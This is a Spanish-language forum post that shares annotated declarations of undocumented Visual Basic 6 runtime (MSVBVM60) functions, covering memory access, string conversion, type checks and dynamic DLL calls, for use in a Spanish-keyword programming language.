' Cantidad de funciones declaradas: 51
' MSBVM60 esta disponible en las versiones mas actuales de Windows.

Prototipo pDllFunctionCall(Referencia CallData:DllCallData):Entero

Privado:
        Proc LoadLibrary(Referencia lpLibFileName:Cadena):Entero,"Kernel32" "LoadLibraryA"
        Proc GetProcAddress(hModule:Entero,Referencia lpProcName:Cadena):Entero,"Kernel32" "GetProcAddress"
Público:

Estruc DllCallData,_
       Libreria,_                    ' El nombre de la Dll.
       Función:Cadena,_       ' El nombre del procedimiento.
       Unknown1:Entero,_        ' Desconocido.
       Unknown2:Entero          ' Dirección de una variable de almacenamiento.

' #======================= Misceláneos ========================
' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena esta vacia.
' Parametros:   #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadena esta vacia, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsEmpty(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsEmpty"

' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena es nulo.
' Parametros:   #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadenas contiene valor nulo, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsNull(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsNull"

' ======================== INFORMACIÓN ========================
' Descripción: Verifica si el parametro establecido es un arreglo.
' Parametros:   #1 - Puntero al dato a verificar.
' Devuelve: Verdad si es un puntero a un arreglo, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsArray(Parametro1:Entero):Booleano, "MSVBVM60" "rtcIsArray"

' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena es de tipo numerica.
' Parametros:   #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadena es numerica, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsNumeric(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsNumeric"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el tipo del parametro establecido.
' Parametros:   #1 - Puntero al dato a obtener tipo.
' Devuelve: Tipo de dato que establecimos.
' ====================== FIN INFORMACIÓN ======================
Proc VarType(Parametro1:Entero):Entero, "MSVBVM60" "rtcVarType"

' ======================== INFORMACIÓN ========================
' Descripción: Verifica si el primer parametro es un objeto.
' Parametros:   #1 - Puntero a analizar.
' Devuelve: Verdad si el parametro es un objeto, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsObject(Parametro1:Entero):Booleano, "MSVBVM60" "rtcIsObject"

' ======================== INFORMACIÓN ========================
' Descripción: Procesa los eventos pendientes.
' Parametros: Ninguno.
' Devuelve: La cantidad de formularios disponibles.
' ====================== FIN INFORMACIÓN ======================
Proc DoEvents:Entero, "MSVBVM60" "rtcDoEvents"

' ======================== INFORMACIÓN ========================
' Descripción: Emite un sonido por el altavoz del equipo.
' Parametros: Ninguno.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc vbBeep, "MSVBVM60" "rtcBeep"

' ======================== INFORMACIÓN ========================
' Descripción: Crea una carpeta.
' Parametros:   #1 - Ruta de la carpeta a crear (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc MkDir(Referencia Parametro1:Cadena), "MSVBVM60" "rtcMakeDir"

' ======================== INFORMACIÓN ========================
' Descripción: Elimina una carpeta.
' Parametros:   #1 - Ruta de la carpeta a eliminar (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc RmDir(Referencia Parametro1:Cadena), "MSVBVM60" "rtcRemoveDir"

' ======================== INFORMACIÓN ========================
' Descripción: ???
' Parametros: Ninguno.
' Devuelve: ???
' ====================== FIN INFORMACIÓN ======================
Proc LocaleID:Entero, "MSVBVM60" "rtcGetHostLCID"

' ======================== Memoria ========================
' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un Byte (1 bytes) de una dirección en memoria.
' Parametros:   #1 - Dirección en memoria del dato a obtener 1 byte.
'               #2 - Variable de tipo Byte que recibirá el byte copiado.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetByte(Dirección:Entero,Referencia Retorno:Byte), "MSVBVM60" "GetMem1"

' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un WordSig (2 bytes) de una dirección en memoria.
' Parametros:   #1 - Dirección en memoria del dato a obtener 1 WordSig (2 bytes).
'               #2 - Variable de tipo WordSig que recibirá los 2 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetWord(Dirección:Entero,Referencia Retorno:WordSig), "MSVBVM60" "GetMem2"

' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un EnteroSig (4 bytes) de una dirección en memoria.
' Parametros:   #1 - Dirección en memoria del dato a obtener 1 Entero (4 bytes).
'               #2 - Variable de tipo Entero que recibirá los 4 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetDWord(Dirección:Entero,Referencia Retorno:EnteroSig), "MSVBVM60" "GetMem3"

' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un Decimal (8 bytes) de una dirección en memoria.
' Parametros:   #1 - Dirección en memoria del dato a obtener 1 Decimal (8 bytes).
'               #2 - Variable de tipo Decimal que recibirá los 8 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetQWord(Dirección:Entero,Referencia Retorno:Decimal), "MSVBVM60" "GetMem4"

' ======================== INFORMACIÓN ========================
' Descripción: Escribe un Byte (1 bytes) en un dato.
' Parametros:   #1 - Dirección en memoria del dato a escribir 1 Byte (1 bytes).
'               #2 - Valor de tipo Byte a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutByte(Destino:Entero,Valor:Byte), "MSVBVM60" "PutMem1"

' ======================== INFORMACIÓN ========================
' Descripción: Escribe un WordSig (2 bytes) en un dato.
' Parametros:   #1 - Dirección en memoria del dato a escribir 1 WordSig (2 bytes).
'               #2 - Valor de tipo WordSig a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutWord(Destino:Entero,Valor:WordSig), "MSVBVM60" "PutMem2"

' ======================== INFORMACIÓN ========================
' Descripción: Escribe un EnteroSig (4 bytes) en un dato.
' Parametros:   #1 - Dirección en memoria del dato a escribir 1 EnteroSig (4 bytes).
'               #2 - Valor de tipo EnteroSig a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutDWord(Destino:Entero,Valor:EnteroSig), "MSVBVM60" "PutMem3"

' ======================== INFORMACIÓN ========================
' Descripción: Escribe un Decimal (8 bytes) en un dato.
' Parametros:   #1 - Dirección en memoria del dato a escribir 1 Decimal (8 bytes).
'               #2 - Valor de tipo Decimal a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutQWord(Destino:Entero,Valor:Decimal), "MSVBVM60" "PutMem4"

' ======================== INFORMACIÓN ========================
' Descripción: Copia los datos de una dirección en memoria a otra.
' Parametros:   #1 - Longitud de bytes a copiar.
'               #2 - Dirección del destino de los datos a copiar.
'               #3 - Dirección de la fuente de los datos a copiar.
' Devuelve: Nada.
' Detelles: Vease API CopyMemory.
' ====================== FIN INFORMACIÓN ======================
Proc CopyBytes(Tamaño,Destino,Fuente:Entero), "MSVBVM60" "__vbaCopyBytes"

' ======================== INFORMACIÓN ========================
' Descripción: Carga en memoria una libreria.
' Parametros:   #1 - Nombre o dirección de la DLL a cargar en memoria (EN FORMATO ANSI).
' Devuelve: Modulo de la DLL cargada.
' Detelles: Vease API LoadLibrary.
' ====================== FIN INFORMACIÓN ======================
Proc LibraryLoad(Referencia Libreria:Cadena):Entero, "MSVBVM60" "EbLibraryLoad"

' ======================== INFORMACIÓN ========================
' Descripción: Descarga en memoria una libreria.
' Parametros:   #1 - Puntero al modulo devuelto por LibraryLoad/LoadLibrary.
' Devuelve: Nada
' Detelles: Vease API FreeLibrary.
' ====================== FIN INFORMACIÓN ======================
Proc LibraryUnload(vbLibLoadPtr:Entero), "MSVBVM60" "EbLibraryUnload"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la dirección en memoria de una cadena.
' Parametros:   #1 - Cadena a obtener puntero (ASCII o UNICODE).
' Devuelve: Dirección en memoria de la cadena establecida.
' Detelles: Esta API crea una copia del parametro que es establecido.
' ====================== FIN INFORMACIÓN ======================
Proc StrPtr(Str:Cadena):Entero, "MSVBVM60" "VarPtr"

' ======================== Colores ========================
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el valor entero de una combinación RGB/RVA.
' Parametros:   #1 - Valor del color Rojo (0 - 255).
'               #2 - Valor del color Verde (0 - 255).
'               #3 - Valor del color Azul (0 - 255).
' Devuelve: Valor entero que representa el color RGB.
' ====================== FIN INFORMACIÓN ======================
Proc vbRGB(R,G,B:Byte):Entero, "MSVBVM60" "rtcRgb"

' ======================== Conversión de datos. ========================
' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo WordSig (2 bytes) a cadena.
' Parametros:   #1 - Valor de tipo WordSig a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrI2(Number:WordSig):Cadena,"MSVBVM60" "__vbaStrI2"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo EnteroSig (4 bytes) a cadena.
' Parametros:   #1 - Valor de tipo Entero a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrI4(Number:EnteroSig):Cadena,"MSVBVM60" "__vbaStrI4"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Decimal (8 bytes) a cadena.
' Parametros:   #1 - Valor de tipo Decimal a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrCy(Number:Decimal):Cadena,"MSVBVM60" "__vbaStrCy"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Real (8 bytes) a cadena.
' Parametros:   #1 - Valor de tipo Real a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrR8(Number:Real):Cadena,"MSVBVM60" "__vbaStrR8"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Byte (1 bytes) a cadena.
' Parametros:   #1 - Valor de tipo Byte a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrUI1(Number:Byte):Cadena,"MSVBVM60" "__vbaStrUI1"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a WordSig (2 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a WordSig.
' ====================== FIN INFORMACIÓN ======================
Proc vbaI2Str(Referencia Number:Cadena):WordSig,"MSVBVM60" "__vbaI2Str"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a EnteroSig (4 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a EnteroSig.
' ====================== FIN INFORMACIÓN ======================
Proc vbaI4Str(Referencia Number:Cadena):EnteroSig,"MSVBVM60" "__vbaI4Str"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Decimal (8 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Decimal.
' ====================== FIN INFORMACIÓN ======================
Proc vbaCyStr(Referencia Number:Cadena):Decimal,"MSVBVM60" "__vbaCyStr"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Real (8 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Real.
' ====================== FIN INFORMACIÓN ======================
Proc vbaR8Str(Referencia Number:Cadena):Real,"MSVBVM60" "__vbaR8Str"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Byte (1 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Byte.
' ====================== FIN INFORMACIÓN ======================
Proc vbaUI1Str(Referencia Number:Cadena):Byte,"MSVBVM60" "__vbaUI1Str"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena UNICODE a ANSI.
' Parametros:   #1 - Puntero a variable de tipo entero que recibira el puntero a la cadena convertida.
'               #2 - Cadena de caracteres que se a de convertir a ANSI (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc StrToAnsi(Retorno:Entero,Referencia Palabra:Cadena), "MSVBVM60" "__vbaStrToAnsi"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena ANSI a UNICODE.
' Parametros:   #1 - Puntero a variable de tipo entero que recibira el puntero a la cadena convertida.
'               #2 - Cadena de caracteres que se a de convertir a UNICODE (EN FORMATO ANSI).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc StrToUnicode(Retorno:Entero,Referencia Palabra:Cadena), "MSVBVM60" "__vbaStrToUnicode"

' ======================== Cadenas ========================
' ======================== INFORMACIÓN ========================
' Descripción: Crea una cadena de Nulos con el tamaño establecido.
' Parametros:   #1 - Longitud de la cadena que devolvera la función.
' Devuelve: Cadena de longitud establecida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Space(Longeur:Entero):Cadena,"MSVBVM60" "rtcSpaceBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Invierte una cadena.
' Parametros:   #1 - Cadena que se invertira (EN FORMATO UNICODE).
' Devuelve: Cadena invertida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc StrReverse(sStr:Cadena):Cadena,"MSVBVM60" "rtcStrReverse"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el caracter ANSI de un valor.
' Parametros:   #1 - Valor a obtener caracter.
' Devuelve: Caracter del valor establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Chr(bChr:Byte):Cadena,"MSVBVM60" "rtcBstrFromAnsi"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene caracteres del lado izquierdo de una cadena.
' Parametros:   #1 - Cadena a extraer caracteres (EN FORMATO UNICODE).
'               #2 - Longitud a obtener.
' Devuelve: Cadena de caracteres extaida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Left(Referencia sStr:Cadena,iLen:Entero):Cadena,"MSVBVM60" "rtcLeftCharBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene caracteres del lado derecho de una cadena.
' Parametros:   #1 - Cadena a extraer caracteres (EN FORMATO UNICODE).
'               #2 - Longitud a obtener.
' Devuelve: Cadena de caracteres extaida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Right(Referencia sStr:Cadena,iLen:Entero):Cadena,"MSVBVM60" "rtcRightCharBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado izquierdo y derecho de la cadena establecida.
' Parametros:   #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Trim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcTrimBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado izquierdo de la cadena establecida.
' Parametros:   #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc LTrim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcLeftTrimBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado derechi de la cadena establecida.
' Parametros:   #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc RTrim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcRightTrimBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la longitud de una cadena.
' Parametros:   #1 - Texto a obtener longitud (EN FORMATO UNICODE).
' Devuelve: Longitud de la cadena establecido.
' ====================== FIN INFORMACIÓN ======================
Proc Len(Referencia Expresion:Cadena):Entero, "MSVBVM60" "__vbaLenBstr"

' ======================== Archivos ========================
' Descripción: Obtiene el tamaño de un archivo.
' Parametros:   #1 - Ruta del archivo a obtener tamaño (en formato UNICODE).
' Devuelve: Tamaño del archivo.
' ====================== FIN INFORMACIÓN ======================
Proc FileLen(Referencia Parametro1:Cadena):Entero, "MSVBVM60" "rtcFileLen"

' ======================== Matematicas ========================
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la tangente de un valor real.
' Parametros:   #1 - Valor de tipo real a obtener tangente.
' Devuelve: Tangente del valor establecido.
' ====================== FIN INFORMACIÓN ======================
Proc vbTan(Parametro1:Real):Real, "MSVBVM60" "rtcTan"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el exponente de un valor real.
' Parametros:   #1 - Valor de tipo real a obtener exponente.
' Devuelve: Exponente del valor establecido.
' ====================== FIN INFORMACIÓN ======================
Proc vbExp(Parametro1:Real):Real, "MSVBVM60" "rtcExp"

' ======================== Otros ========================
' ======================== INFORMACIÓN ========================
' Descripción: Destruye una matriz.
' Parametros:   #1 - Reservado, debe ser cero.
'               #2 - Puntero a la matriz a borrar.
' Detalles: Esta función no redimenciona la matriz, pero vuelve esta in-utilizable.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc ArrayDestruct(Reservado,PtrMatriz:Entero), "MSVBVM60" "__vbaAryDestruct"

' ======================== INFORMACIÓN ========================
' Descripción: Destruye una matriz.
' Parametros:   #1 - Reservado, debe ser cero.
'               #2 - Puntero a la matriz a borrar.
' Devuelve: Nada.
' Detalles: Esta función no redimenciona la matriz, pero vuelve esta in-utilizable.
' ====================== FIN INFORMACIÓN ======================
Proc Erase(Reservado,PtrMatriz:Entero), "MSVBVM60" "__vbaErase"

' ======================== INFORMACIÓN ========================
' Descripción: Carga dinamicamente un procedimiento de una libreria en memoria.
' Parametros:   #1 - Estructura DllCallData con los datos requeridos.
' Devuelve: Si la función tiene exito, el procedimiento devuelve la dirección del procedimiento
' establecido en "Parametro1.Procedure" miembro.
' Si la función falla, retorna 0.
' Detalles: Utilize AdmErr para controlar el error de acceso a memoria.
' ====================== FIN INFORMACIÓN ======================
Proc DllFunctionCall(Referencia CallData:DllCallData):Entero
        Var Ptr,PtrProc:Entero,Call:pDllFunctionCall
        Ptr = LoadLibrary("MSVBVM60")
        Si Ptr = 0 Entonces GenerarError &C4855647
        PtrProc = GetProcAddress(Ptr,"DllFunctionCall")
        Si PtrProc = 0 Entonces GenerarError &C0D2DECF
        Call@ = PtrProc
        AdmErr
                Resultado = Call(CallData)
        Controlar
                ' Si se produce un error, no hacer nada.
        FinAdmErr
FinProc

También me gustaria, si conocen alguna función indocumentada de MSVBVM60 la comenten en este post.

Si tienen alguna duda sobre (casi) cualquiera de estas funciones, por favor no duden en preguntar.

Saludos!